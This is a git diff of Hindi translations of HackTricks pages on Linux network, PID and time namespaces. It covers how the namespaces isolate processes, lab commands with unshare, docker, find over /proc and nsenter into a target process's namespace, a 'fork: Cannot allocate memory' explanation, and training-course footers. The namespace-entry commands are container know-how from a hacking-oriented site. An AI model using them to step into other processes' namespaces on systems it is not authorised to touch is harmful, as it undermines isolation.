- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रक्रिया किस नामस्थान में है
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### सभी नेटवर्क नेमस्पेस खोजें
### सभी नेटवर्क नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -54,8 +79,26 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g
```
{% endcode %}
### नेटवर्क नेमस्पेस के अंदर जाए
### नेटवर्क नामस्थान के अंदर प्रवेश करे
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
आप **केवल रूट यदि आप अन्य प्रक्रिया नेमस्पेस में प्रवेश कर सकते हैं**। और आप **उसके बिना अन्य नेमस्पेस में प्रवेश नहीं** कर सकते हैं **जिसका संकेतक** इसे पॉइंट कर रहा हो (जैसे `/proc/self/ns/net`)।
आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/net`)।
## संदर्भ
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# PID नेमस्पेस
# PID Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## मौलिक जानकारी
## Basic Information
PID (प्रक्रिया आईडेंटिफायर) नेमस्पेस एक विशेषता है जो लिनक्स कर्नेल में प्रक्रिया विलयन प्रदान करती है जिससे एक समूह की प्रक्रियाएं अन्य नेमस्पेस में के प्रक्रियाओं से अलग एक अपने विशिष्ट पीआईडी सेट रख सकती हैं। यह विशेष रूप से कंटेनरीकरण में उपयोगी है, जहां प्रक्रिया विलयन सुरक्षा और संसाधन प्रबंधन के लिए आवश्यक है।
PID (Process IDentifier) namespace एक विशेषता है जो Linux kernel में प्रक्रिया अलगाव प्रदान करती है, जिससे प्रक्रियाओं के एक समूह को अपने स्वयं के अद्वितीय PIDs का सेट प्राप्त होता है, जो अन्य namespaces में PIDs से अलग होता है। यह कंटेनरीकरण में विशेष रूप से उपयोगी है, जहां प्रक्रिया अलगाव सुरक्षा और संसाधन प्रबंधन के लिए आवश्यक है।
जब एक नया PID नेमस्पेस बनाया जाता है, तो उस नेमस्पेस में पहली प्रक्रिया को पीआईडी 1 के रूप में सौंपा जाता है। यह प्रक्रिया नए नेमस्पेस का "इनिट" प्रक्रिया बन जाती है और नए नेमस्पेस के अंदर अन्य प्रक्रियाओं का प्रबंधन करने के लिए जिम्मेदार होती है। नेमस्पेस के अंदर बनाई गई प्रत्येक उस्तरा प्रक्रिया उस नेमस्पेस के अंदर एक विशिष्ट पीआईडी रखेगी, और ये पीआईडी अन्य नेमस्पेस में के पीआईडी से अलग होंगे।
जब एक नया PID namespace बनाया जाता है, तो उस namespace में पहली प्रक्रिया को PID 1 सौंपा जाता है। यह प्रक्रिया नए namespace की "init" प्रक्रिया बन जाती है और namespace के भीतर अन्य प्रक्रियाओं का प्रबंधन करने के लिए जिम्मेदार होती है। namespace के भीतर बनाई गई प्रत्येक अगली प्रक्रिया का एक अद्वितीय PID होगा, और ये PIDs अन्य namespaces में PIDs से स्वतंत्र होंगे।
एक PID नेमस्पेस के अंदर की दृष्टि से, वह केवल उस नेमस्पेस में अन्य प्रक्रियाएं देख सकती है। यह अन्य नेमस्पेस में प्रक्रियाओं को जानकार नहीं है, और वे पारंपरिक प्रक्रिया प्रबंधन उपकरणों (जैसे `kill`, `wait`, आदि) का उपयोग करके उनके साथ संवाद करने में सक्षम नहीं है। यह एक स्तर की अलगाव प्रदान करता है जो एक दूसरे में हस्तक्षेप करने से प्रक्रियाओं को रोकने में मदद करता है।
PID namespace के भीतर एक प्रक्रिया के दृष्टिकोण से, यह केवल उसी namespace में अन्य प्रक्रियाओं को देख सकती है। यह अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं होती है, और यह पारंपरिक प्रक्रिया प्रबंधन उपकरणों (जैसे, `kill`, `wait`, आदि) का उपयोग करके उनके साथ बातचीत नहीं कर सकती। यह एक स्तर का अलगाव प्रदान करता है जो प्रक्रियाओं को एक-दूसरे में हस्तक्षेप करने से रोकने में मदद करता है।
### कैसे काम करता है:
### How it works:
1. जब एक नई प्रक्रिया बनाई जाती है (जैसे `clone()` सिस्टम कॉल का उपयोग करके), तो प्रक्रिया को एक नए या मौजूदा PID नेमस्पेस में सौंपा जा सकता है। **यदि एक नया नेमस्पेस बनाया जाता है, तो प्रक्रिया उस नेमस्पेस का "इनिट" प्रक्रिया बन जाती है**।
2. **कर्नेल** एक **मैपिंग बनाए रखता है नए नेमस्पेस में के पीआईडी और मूल नेमस्पेस में के संबंधित पीआईडी के बीच**। यह मैपिंग **कर्नेल को जरूरत पड़ने पर पीआईडी का अनुवाद करने में मदद करता है**, जैसे कि जब प्रक्रियाओं के बीच सिग्नल भेजा जाता है जो विभिन्न नेमस्पेस में होते हैं
3. **PID नेमस्पेस के अंदर की प्रक्रियाएं केवल उस नेमस्पेस में की अन्य प्रक्रियाओं को देख सकती हैं और उनके साथ संवाद कर सकती हैं**। वे अन्य नेमस्पेस में प्रक्रियाओं को जानकर नहीं हैं, और उनके पीआईडी उनके नेमस्पेस के अंदर अद्वितीय हैं।
4. जब एक **PID नेमस्पेस नष्ट होता है** (जैसे कि नेमस्पेस का "इनिट" प्रक्रिया बाहर निकल जाती है), **तो उस नेमस्पेस के अंदर सभी प्रक्रियाएं समाप्त हो जाती हैं**। यह सुनिश्चित करता है कि नेमस्पेस के साथ संबंधित सभी संसाधनों को ठीक से साफ किया जाता है
1. जब एक नई प्रक्रिया बनाई जाती है (जैसे, `clone()` सिस्टम कॉल का उपयोग करके), तो प्रक्रिया को एक नए या मौजूदा PID namespace में सौंपा जा सकता है। **यदि एक नया namespace बनाया जाता है, तो प्रक्रिया उस namespace की "init" प्रक्रिया बन जाती है**।
2. **kernel** नए namespace में PIDs और संबंधित PIDs के बीच एक **मैपिंग बनाए रखता है** जो माता-पिता namespace में होते हैं (यानी, वह namespace जिससे नया namespace बनाया गया था)। यह मैपिंग **kernel को आवश्यकतानुसार PIDs का अनुवाद करने की अनुमति देती है**, जैसे कि विभिन्न namespaces में प्रक्रियाओं के बीच संकेत भेजते समय
3. **PID namespace के भीतर प्रक्रियाएँ केवल उसी namespace में अन्य प्रक्रियाओं को देख और बातचीत कर सकती हैं**। वे अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं होती हैं, और उनके PIDs उनके namespace के भीतर अद्वितीय होते हैं।
4. जब एक **PID namespace नष्ट किया जाता है** (जैसे, जब namespace की "init" प्रक्रिया समाप्त होती है), **तो उस namespace के भीतर सभी प्रक्रियाएँ समाप्त हो जाती हैं**। यह सुनिश्चित करता है कि namespace से संबंधित सभी संसाधनों को सही ढंग से साफ किया जाए
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएं
### Create different Namespaces
#### CLI
```bash
@ -39,38 +41,38 @@ sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>त्रुटि: bash: fork: मेमोरी का आवंटन नहीं किया जा सकता</summary>
<summary>Error: bash: fork: Cannot allocate memory</summary>
जब `unshare` को `-f` विकल्प के बिना चलाया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नेमस्पेस को कैसे हैंडल करता है के कारण एक त्रुटि का सामना किया जाता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (Process ID) namespaces को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का स्पष्टीकरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बनाने की अनुमति देता है। हालांकि, नया PID नेमस्पेस बनाने की प्रक्रिया (जिसे "अनशेयर" प्रक्रिया कहा जाता है) नए नेमस्पेस में प्रवेश नहीं करती; केवल इसके बच्चे प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` को `unshare` के साथ ही प्रक्रिया में शुरू किया जाता है। इसका परिणामस्वरूप, `/bin/bash` और इसके बच्चे प्रक्रियाएँ मूल PID नेमस्पेस में होती हैं।
- नए नेमस्पेस में `/bin/bash` की पहली बच्ची प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया बाहर निकलती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नेमस्पेस की सफाई को ट्रिगर करती है, क्योंकि PID 1 के प अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। इसके बाद लिनक्स कर्नेल उस नेमस्पेस में PID आवंटन को अक्षम कर देगा।
1. **समस्या का विवरण**:
- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए namespaces बनाने की अनुमति देता है। हालाँकि, नई PID namespace (जिसे "unshare" प्रक्रिया कहा जाता है) बनाने की प्रक्रिया नए namespace में प्रवेश नहीं करती है; केवल इसकी संतान प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी संतान प्रक्रियाएँ मूल PID namespace में होती हैं।
- नए namespace में `/bin/bash` की पहली संतान प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह namespace की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। Linux कर्नेल तब उस namespace में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नेमस्पेस में PID 1 का बाहर निकलना `PIDNS_HASH_ADDING` ध्वज की सफाई का कारण बनता है। इससे `alloc_pid` फ़ंक्शन एक नई प्रक्रिया बनाते समय नया PID आवंटित करने में विफल हो जाता है, "मेमोरी का आवंटन नहीं किया जा सकता" त्रुटि उत्पन्न होती है।
- नए namespace में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है जब एक नई प्रक्रिया बनाई जाती है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- समस्या को `-f` विकल्प के साथ `unshare` का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नेमस्पेस बनाने के बाद एक नई प्रक्रिया फोर्क करता है।
- `%unshare -fp /bin/bash%` चलाने से सुनिश्चित होता है कि `unshare` कमांड खुद नए नेमस्पेस में PID 1 बन जाता है। इस नए नेमस्पेस में `/bin/bash` और इसके बच्चे प्रक्रियाएँ सुरक्षित रूप से समाहित होती हैं, जिससे PID 1 का पहले से बाहर निकलने और सामान्य PID आवंटन की अनुमति होती है
- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID namespace बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए namespace में PID 1 बन जाता है। `/bin/bash` और इसकी संतान प्रक्रियाएँ फिर इस नए namespace में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं
`unshare` को `-f` ध्वज के साथ चलाने से नया PID नेमस्पेस सही ढंग से बनाए रखा जा सकता है, जिससे `/bin/bash` और इसके उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना न करें।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID namespace सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
</details>
नए इंस्टेंस को माउंट करके `/proc` फ़ाइल सिस्टम का उपयोग करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास उस नेमस्पेस के लिए विशिष्ट प्रक्रिया सूचना का सटीक और अलग दृश्य हो
यदि आप पैरामीटर `--mount-proc` का उपयोग करके `/proc` फ़ाइल प्रणाली का एक नया उदाहरण माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट namespace में उस namespace के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलगावित दृश्य** है
#### डॉकर
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रोसेस किस नामस्थान में है
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### सभी PID नेमस्पेस खोजें
### सभी PID नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -78,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
```
{% endcode %}
ध्यान दें कि मूल (डिफ़ॉल्ट) PID नेमस्पेस से रूट उपयोगकर्ता सभी प्रक्रियाएँ देख सकता है, यहाँ तक कि नए PID नेमस्पेस में भी, इसलिए हम सभी PID नेमस्पेस देख सकते हैं.
ध्यान दें कि प्रारंभिक (डिफ़ॉल्ट) PID नामस्थान से रूट उपयोगकर्ता सभी प्रक्रियाओं को देख सकता है, यहां तक कि नए PID नामस्थान में भी, यही कारण है कि हम सभी PID नामस्थान देख सकते हैं।
### एक PID नेमस्पेस के अंदर जाए
### एक PID नामस्थान के अंदर प्रवेश करे
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
जब आप डिफ़ॉल्ट नेमस्पेस से PID नेमस्पेस के अंदर जाते हैं, तो आपको फिर भी सभी प्रक्रियाएँ दिखाई देंगी। और उस PID एनएस से प्रक्रिया नए PID एनएस पर नया बैश देख पाएगी।
जब आप डिफ़ॉल्ट नामस्थान से PID नामस्थान के अंदर प्रवेश करते हैं, तो आप सभी प्रक्रियाओं को देख पाएंगे। और उस PID ns से प्रक्रिया नए bash को PID ns पर देख सकेगी।
इसके अलावा, आप **केवल रूट होने पर** **दूसरे प्रक्रिया PID नेमस्पेस में प्रवेश कर सकते हैं**। और आप **उस नेमस्पेस में प्रवेश नहीं कर सकते** **जिसके लिए एक डिस्क्रिप्टर** पॉइंट कर रहा हो (जैसे `/proc/self/ns/pid`)
इसके अलावा, आप केवल **दूसरे प्रक्रिया PID नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में** **बिना एक वर्णनकर्ता** के **प्रवेश नहीं कर सकते** जो इसे इंगित करता है (जैसे `/proc/self/ns/pid`)
## संदर्भ
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ शून्य से हीरो तक AWS हैकिंग सीखें</summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में **पीआर जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,41 +1,74 @@
# समय नेमस्पेस
# Time Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
Linux में समय नेमस्पेस को सिस्टम मोनोटोनिक और बूट-टाइम घड़ी के लिए नेमस्पेस ऑफसेट की अनुमति है। यह आम तौर पर Linux कंटेनर में तारीख/समय बदलने और चेकपॉइंट या स्नैपशॉट से पुनर्स्थापित होने के बाद घड़ी को समायोजित करने के लिए उपयोग किया जाता है।
Linux में टाइम नेमस्पेस सिस्टम मोनोटोनिक और बूट-टाइम घड़ियों के लिए प्रति-नेमस्पेस ऑफसेट की अनुमति देता है। इसका सामान्यत: Linux कंटेनरों में उपयोग किया जाता है ताकि कंटेनर के भीतर दिनांक/समय को बदला जा सके और चेकपॉइंट या स्नैपशॉट से पुनर्स्थापित करने के बाद घड़ियों को समायोजित किया जा सके
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएं
### Create different Namespaces
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं तो `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास **उस नेमस्पेस के लिए विशेष प्रक्रिया सूचना का सटीक और अलग दृश्य** है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के समय नया PID आवंटित करने में विफल हो जाता है, जिससे "मेमोरी आवंटित नहीं कर सकता" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रक्रिया किस नामस्थान में है
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### सभी समय नेमस्पेस खोजें
### सभी टाइम नेमस्पेस खोजें
{% code overflow="wrap" %}
```bash
@ -45,8 +78,37 @@ sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null |
```
{% endcode %}
### एक समय नेमस्पेस के अंदर जाए
### टाइम नेमस्पेस के अंदर प्रवेश करे
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
आप **केवल रूट यदि आप अन्य प्रक्रिया नेमस्पेस में प्रवेश कर सकते हैं**। और आप **उसके बिना अन्य नेमस्पेस में प्रवेश नहीं कर सकते** हैं जिसका निर्देशक हो (जैसे `/proc/self/ns/net`)।
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
